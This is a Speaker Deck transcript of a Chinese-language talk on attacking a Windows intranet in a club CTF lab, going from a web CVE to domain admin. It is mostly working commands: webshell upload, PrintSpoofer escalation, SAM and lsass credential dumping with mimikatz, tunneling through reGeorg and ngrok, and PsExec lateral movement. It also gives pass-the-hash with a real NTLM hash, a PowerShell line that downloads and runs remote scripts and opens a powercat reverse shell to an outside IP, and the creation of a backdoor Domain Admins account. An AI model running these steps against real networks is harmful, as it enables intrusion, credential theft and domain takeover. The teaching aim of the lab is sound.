Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
Windows 內網滲透
Search
123ojp
August 17, 2020
Technology
1
950
Windows 內網滲透
2020/8/17 黑客社 Windows 內網滲透 演講簡報
大綱:
由一個 CVE 進入 IIS主機 後,如何橫向擴散到 OA 和 AD主機。
計分板:
https://ctf.foxo.tw/
123ojp
August 17, 2020
Tweet
Share
More Decks by 123ojp
See All by 123ojp
W15 Buffer Overflow - 安全程式設計107上
123ojp
0
230
Other Decks in Technology
See All in Technology
CDCL による厳密解法を採用した MILP ソルバー
imai448
3
140
マルチプロダクトな開発組織で 「開発生産性」に向き合うために試みたこと / Improving Multi-Product Dev Productivity
sugamasao
1
310
The Web Performance Landscape in 2024 [PerfNow 2024]
tammyeverts
0
100
初心者向けAWS Securityの勉強会mini Security-JAWSを9ヶ月ぐらい実施してきての近況
cmusudakeisuke
0
130
The Rise of LLMOps
asei
7
1.7k
TypeScriptの次なる大進化なるか!? 条件型を返り値とする関数の型推論
uhyo
2
1.7k
AWS Media Services 最新サービスアップデート 2024
eijikominami
0
200
FlutterアプリにおけるSLI/SLOを用いたユーザー体験の可視化と計測基盤構築
ostk0069
0
100
Making your applications cross-environment - OSCG 2024 NA
salaboy
0
190
OCI Network Firewall 概要
oracle4engineer
PRO
0
4.2k
【Pycon mini 東海 2024】Google Colaboratoryで試すVLM
kazuhitotakahashi
2
540
Lambdaと地方とコミュニティ
miu_crescent
2
370
Featured
See All Featured
Side Projects
sachag
452
42k
Optimizing for Happiness
mojombo
376
70k
個人開発の失敗を避けるイケてる考え方 / tips for indie hackers
panda_program
93
16k
Put a Button on it: Removing Barriers to Going Fast.
kastner
59
3.5k
Measuring & Analyzing Core Web Vitals
bluesmoon
4
130
Typedesign – Prime Four
hannesfritz
40
2.4k
Unsuck your backbone
ammeep
668
57k
Fireside Chat
paigeccino
34
3k
Responsive Adventures: Dirty Tricks From The Dark Corners of Front-End
smashingmag
250
21k
How to Ace a Technical Interview
jacobian
276
23k
Why You Should Never Use an ORM
jnunemaker
PRO
54
9.1k
The Myth of the Modular Monolith - Day 2 Keynote - Rails World 2024
eileencodes
16
2.1k
Transcript
Windows 內網滲透 你懂 Windows 嗎? Speaker: 童舒晧 致敬 AIS3 紅⼈人演練
$ Whoami • 你們家老社長 (第五屆⿊黑客社社長) • 資安 Web狗 ⼀一點點pwn 剩下我就垃圾
Outline • 打爆 Windows • 沒ㄖ • 啊⼤大家都是 root 不要砍檔改密碼謝謝
今⽇日弱點 http://140.134.25.138:55555/ 計分板 https://ctf.foxo.tw/challenges
練習找 CVE getshell 5 min
第零關 - 登入admin • 弱密碼 • 帳號 admin • 密碼
admin
第⼀一關 - CVE
好習慣 (⼀一) • 上傳後⾨門 ⽽而非打reverse shell • 許多web server都被防火牆 •
禁⽌止連外網 • (當初我打 ilexxn 也是這樣)
新⼿手⼤大禮包 • 今天上課所有⼯工具 • https://ctf.foxo.tw/files/ 0b95689cc6782e0e3607ff26fde33aad/tools.zip • 解壓縮密碼 foxo
第⼀一關 CVE 解答 • ⼤大禮包打開來來 • 執⾏行行 • ▶ python
BlogEngine.NET_poc_upload.py -t '140.134.208.100:55555' -u admin -p admin -f ASPXspy2.aspx • 後⾨門密碼 admin http://140.134.208.100:55555/Custom/Themes/RCE/ASPXspy2.aspx
點⼀一點後⾨門開⼼心拿flag
查看權限 • 拿到 RCE 之後 很重要⼀一件事就是知道⾃自⼰己權限
提權好處 • ⼀一般權限 • 掃 port • 做 web server能做的事
• 最⾼高權限 • 想幹嘛就幹嘛 • 幫他關機 • dump 機器上所有密碼 、 關防毒
第⼆二關 - Network Service 提權 •PrintSpoofer •Local/Network Service to SYSTEM
•https://github.com/itm4n/PrintSpoofer •Support •Windows 10 & Windows Server 2019.. even more •Usage •PrintSpoofer.exe -c "command"
使⽤用條件 • Whoami /priv 其中⼀一項開啟 • SeImpersonatePrivilege => CreateProcessWithToken() •
SeAssignPrimaryToken => CreateProcessAsUser() • 看起來來是預設開啟
使⽤用後⾨門上傳 • 或是等你隊友上傳(X • 看不到結果 只好⽤用寫檔⽅方式讀取 • C:\inetpub\wwwroot\Custom\Themes\RCE\PrintSpoofer.exe • -c
"C:\windows\system32\cmd.exe /c whoami > C:\inetpub\wwwroot\Custom\Themes\RCE\tmp.txt"
打開 tmp.txt
使⽤用 PrintSpoofer 讀 flag • -c "C:\windows\system32\cmd.exe /c type
C:\flag.txt > C:\inetpub\wwwroot\Custom\Themes\RCE\tmp.txt"
G3t R00t 0N llS
Dump iis password
SAM 檔案: 儲存本地⽤用⼾戶的 NTLM Hash • Security Account Manager •
安全帳⼾戶管理理器是Windows XP,Windows Vista, Windows 7、8.1和10中的數據庫⽂文件,⽤用於存儲⽤用⼾戶密 碼。它可⽤用於對本地和遠程⽤用⼾戶進⾏行行⾝身份驗證。從 Windows 2000 SP4開始,Active Directory對遠程⽤用⼾戶進⾏行行 ⾝身份驗證。SAM使⽤用加密措施來來防⽌止未經⾝身份驗證的⽤用⼾戶 訪問系統。 ——维基百科(英⽂文)
Dump SAM • 使⽤用 PrintSpoofer Dump • -c "reg save
HKLM\SAM C:\inetpub\wwwroot\sam.zip" • -c "reg save HKLM\SYSTEM C:\inetpub\wwwroot\system.zip"
解析 SAM • Creddump7 • git clone https://github.com/Neohapsis/creddump7 • pip
install pycrypto • python2 • python pwdump.py system.zip sam.zip
Dump 結果 Username UID LM Hash NTLM Hash fox: 1000:
aad3b435b51404eeaad3b435b 51404ee: 7ecffff0c3548187607a14bad0f8 8bb1:::
拿去隨意網站crack hash • https://crackstation.net/ • fox 帳號弱密碼 : 1qaz@WSX3edc •
Administrator 密碼無法解析
⽬目前成就 IIS (Web Server) Owned! Hackers firewall allow web access
?
⽬目前成就 IIS (Web Server) Hackers http tunnel ✅ 跳板 nmap
確定⼦子網域 • 可以知道 ⼦子網域 在 192.168.122.0/24
http tunnel • ⽤用 http 協定達成 proxy • 常⽤用於 web
server 被打下來來(不⽤用提權即可使⽤用) • 常⾒見見⼯工具 reGeorg • 上傳 interface 到 受害者server • 使⽤用 http url 建立⼀一個 sock proxy 到本機
解壓縮 ⼤大禮包裡的 reGeorg • 然後把 上傳 (因為我們今天試⽤用 .net 所以選aspx) •
打開網⾴頁確定 運作正常 • http://140.134.208.100:55555/Custom/Themes/RCE/ tunnel.aspx
運⽤用http tunnel 掃內網 • 在kali 執⾏行行 • python reGeorgSocksProxy.py -u
http:// 140.134.208:100:55555/Custom/Themes/RCE/ tunnel.aspx • proxy 在 127.0.0.1:8888
proxychains • Kali 內建 • 使⽤用設定的proxy執⾏行行後⽅方指令 • ex. proxychains nmap
…. • 修改 proxy位⼦子 改到8888 • vim /etc/proxychains.conf (kali 預設位置)
proxychains + nmap • 設定完 使⽤用 • $ proxychains <command>
• $ proxychains nmap -sT -Pn -p 445 192.168.122.0/24
tunnel 很慢 我幫你掃 • proxychains nmap -sT -Pn -p 445
192.168.122.58 • proxychains nmap -sT -Pn -p 445 192.168.122.246
找到兩兩台主機 IIS (Web Server) Hackers http tunnel 192.168.122.58 192.168.122.246
企業 Windows 常⾒見見架構 Web Server AD OA OA Control Control
office automation system https://en.wikipedia.org/wiki/Office_automation
Active Directory (AD) • Active Directory(簡稱AD。中國譯名為「活動⽬目錄」,台灣 為維持英⽂文不譯)是微軟Windows Server中,負責架構中⼤大 型網路路環境的集中式⽬目錄管理理服務(Directory Services),
在Windows 2000 Server開始內建於Windows Server產品中, 它處理理在組織中的網路路物件,物件可以是使⽤用者、群組、電 腦、網域控制站、郵件、設定檔、組織單元、樹系等等,只要 是在Active Directory結構定義檔(schema)中定義的物件, 就可以儲存在Active Directory資料檔中,並利利⽤用Active Directory Service Interface來來存取,實際上,許多Active Directory的管理理⼯工具都是利利⽤用這個介⾯面來來呼叫並使⽤用Active Directory的資料。 — 維基百科
總之就是⼤大總管 所有網域下電腦 可以⽤用同組帳號登入
本地使⽤用者登入 • .\Administrator • 主機名稱 \Administrator
有開AD登入 • 網域 Foxo (Administrator) • FOXO\Administrato r
None
尋找 AD IP • AD 通常會和 DNS server 是同⼀一台
查看 帳號 • Local • net user • net user
<username>
這隻 帳號 密碼 已有
查看 domain 帳號 • domain • net user /domain •
net user /domain <username>
發現 特權 帳號 kingoffox
下⼀一步 打OA Web Server AD OA Control Control 192.168.122.58 192.168.122.246
192.168.122.53 OA 通常會有 ⼤大量量使⽤用者登入
把 OA smb 代理理出來來 • 上傳 ngrok • 申請 ngrok
token https://dashboard.ngrok.com/ • 拿取 token
上傳失敗? 壓縮上傳 • 壓縮 ngrok • 上傳後 ⽤用powershell 解壓 •
/c powershell -command "Expand-Archive C:\inetpub\wwwroot\Custom\Themes\RCE\ngrok.zip C:\inetpub\wwwroot\Custom\Themes\RCE\a"
在 webshell 執⾏行行 ngrok • CmdPath: • C:\inetpub\wwwroot\Custom\Themes\RCE\a\ngrok.exe • Argument:
• tcp 192.168.122.58:445 --authtoken <your_token> -region ap
去 ngrok 官網看彈去哪 https://dashboard.ngrok.com/status/tunnels eg: tcp://2.tcp.ngrok.io:12723
Port Forwarding • 在 Kali 上灌 ssh server • apt-get
install openssh-server • 設定 Port Forwarding • vim /etc/ssh/sshd_config • 重啟 sshd • /etc/init.d/ssh restart
使⽤用ssh 把遠端代理理回445 • ssh 127.0.0.1 -NL 0.0.0.0:445:<the_ip_on_dashboard> • eg ssh
127.0.0.1 -NL 0.0.0.0:445:2.tcp.ngrok.io:12723 • 確定⾃自⼰己 kali ip
在 windows 執⾏行行 PsExec.exe • Psexec.exe • 有微軟簽章的遠端執⾏行行⼯工具 • 走
smb 協定 (想不到smb可以執⾏行行程式吧) • 有 eula 記得加參參數取消 • psexec.exe -accepteula • 64 位元要⽤用 Psexec64.exe
IT : SMB是拿來來傳檔案的 微軟: 拿來來遠端執⾏行行也不錯啊
使⽤用相同密碼 PsExec.exe 跳到OA • PsExec64.exe \\<IP> -accepteula -s -u <帳號>
-p <密碼> <程式> • eg: PsExec64.exe \\192.168.50.184 -s -accepteula -u fox -p 1qaz@WSX3edc cmd
找到 OA 上 flag
⽬目前戰績 Web Server AD OA Control Control 192.168.122.58 192.168.122.246 192.168.122.53
Pwn! Pwn!
再次Dump 密碼
lsass.exe Process • OA 會有許多帳號登入 • 登入過後帳號會在電腦留留下資訊 • lsass.exe Process:
• 儲存登入過的 session 與其 NTLM Hash 或密碼
使⽤用 mimikatz
移動 mimikatz • 上傳⾄至 IIS • 運⽤用網路路芳鄰 移動到 OA C:\
• 什什麼沒有開網路路芳鄰?
任意電腦 C:\ 讀取 加入Domain的電腦不是 你的電腦
加入 Domain 預設共⽤用C:\ • 打開網路路芳鄰存取 \\<ip>\c$ • $ 符號代表隱藏的資料夾
使⽤用 cmd 存取 • 掛載遠端磁碟 • net use \\<ip>\C$ /user:<username>
<password> • net use \\192.168.122.58\C$ /user:fox "1qaz@WSX3edc" • 查看掛載詞耊 • net use
Copy iis 檔案 到 OA • copy <檔案位⼦子> <檔案位⼦子> •
copy C:\inetpub\wwwroot\Custom\Themes\RCE\mimikatz.exe \\192.168.122.58\C$
再次啟動Psexec • 再次連上 OA 記得加-s flag 拿system 權限 • PsExec64.exe
\\<Kali_IP> -accepteula -u <帳號> -p <密碼> -s cmd • eg: PsExec64.exe \\192.168.50.184 -accepteula -u fox -p 1qaz@WSX3edc -s cmd • 執⾏行行 mimikatz.exe
whoami 是 system
Dump Isass • 使⽤用 mimikatz dump 所有 lsass.exe Process Hash
• Sekurlsa::logonPasswords
尋找可⽤用 user • 找到⼀一開始發現的 特權帳號 kingoffox 以及 密碼hash
Pass The Hash 使⽤用 hash 就可登入
重新 forward port • 關掉 ngrok •
改成 forward AD • CmdPath: • C:\inetpub\wwwroot\Custom\Themes\RCE\a\ngrok.exe • Argument: •
tcp 192.168.122.246:445 --authtoken <your_token> -region ap
去 ngrok 官網看彈去哪 https://dashboard.ngrok.com/status/tunnels eg: tcp://2.tcp.ngrok.io:12723
使⽤用ssh 把遠端代理理回445 • ssh 127.0.0.1 -NL 0.0.0.0:445:<the_ip_on_dashboard> • eg ssh
127.0.0.1 -NL 0.0.0.0:445:2.tcp.ngrok.io:12723 • 記得把上⼀一個 ctrl+c 關掉
⽤用 powershell 腳本 pass the hash • [System.Net.ServicePointManager]::ServerCertificateValidatio nCallback =
{$true}; //關閉 ssl 保護 複製時注意換⾏行行空⽩白 • IEX(New-Object System.Net.WebClient).DownloadString("https:// 35.201.144.177/Invoke-SMBExec.ps1"); //Load script (防毒要關) • Invoke-SMBExec -Target <IP> -Domain <Domain> - Username <Username> -Hash <Hash> -Command '<命令>' - verbose
搭配 reverse shell • Invoke-SMBExec -Target 192.168.50.184 -Domain foxo.tw.ctf -Username
kingoffox -Hash 9b9a292a04ba3679b3822d1586bd5b29 -Command 'powershell -c " [System.Net.ServicePointManager]::ServerCertificateVali dationCallback = {$true}; IEX(New-Object System.Net.WebClient).DownloadString(\"https:// 35.201.144.177/powercat.ps1\");powercat -c 140.134.243.8 -p 4444 -e cmd"' -verbose
None
新增 domain admin帳號 • dsadd user "cn=hackfox,cn=Users,dc=foxo,dc=tw,dc=ctf" -samid hackfox -upn
[email protected]
-fn Fox -ln Hack -display "Hack Fox" -disabled no -pwd "@J*@U#(Jdfj" • net group "Domain Admins" hackfox /ADD /DOMAIN • 如果沒有 主機 可以 reverse shell 直接執⾏行行創帳號 在登入
直接創帳號 • Invoke-SMBExec -Target 192.168.50.184 -Domain foxo.tw.ctf -Username kingoffox -Hash
9b9a292a04ba3679b3822d1586bd5b29 -Command 'dsadd user "cn=hackfox,cn=Users,dc=foxo,dc=tw,dc=ctf" -samid hackfox -upn
[email protected]
-fn Fox -ln Hack - display "Hack Fox" -disabled no -pwd "@J*@U#(Jdfj"' - verbose • Invoke-SMBExec -Target 192.168.50.184 -Domain foxo.tw.ctf -Username kingoffox -Hash 9b9a292a04ba3679b3822d1586bd5b29 -Command 'net group "Domain Admins" hackfox /ADD /DOMAIN' -verbose
None
把 RDP 代理理出來來
重新 forward port • 關掉 ngrok •
改成 forward AD 3389 • CmdPath: • C:\inetpub\wwwroot\Custom\Themes\RCE\a\ngrok.exe • Argument:
• tcp 192.168.122.246:3389 --authtoken <your_token> -region ap
去 ngrok 官網看彈去哪 https://dashboard.ngrok.com/status/tunnels eg: tcp://2.tcp.ngrok.io:12723
直接連線 rdp • 2.tcp.ngrok.io:12723
打下AD就是這麼樸實無華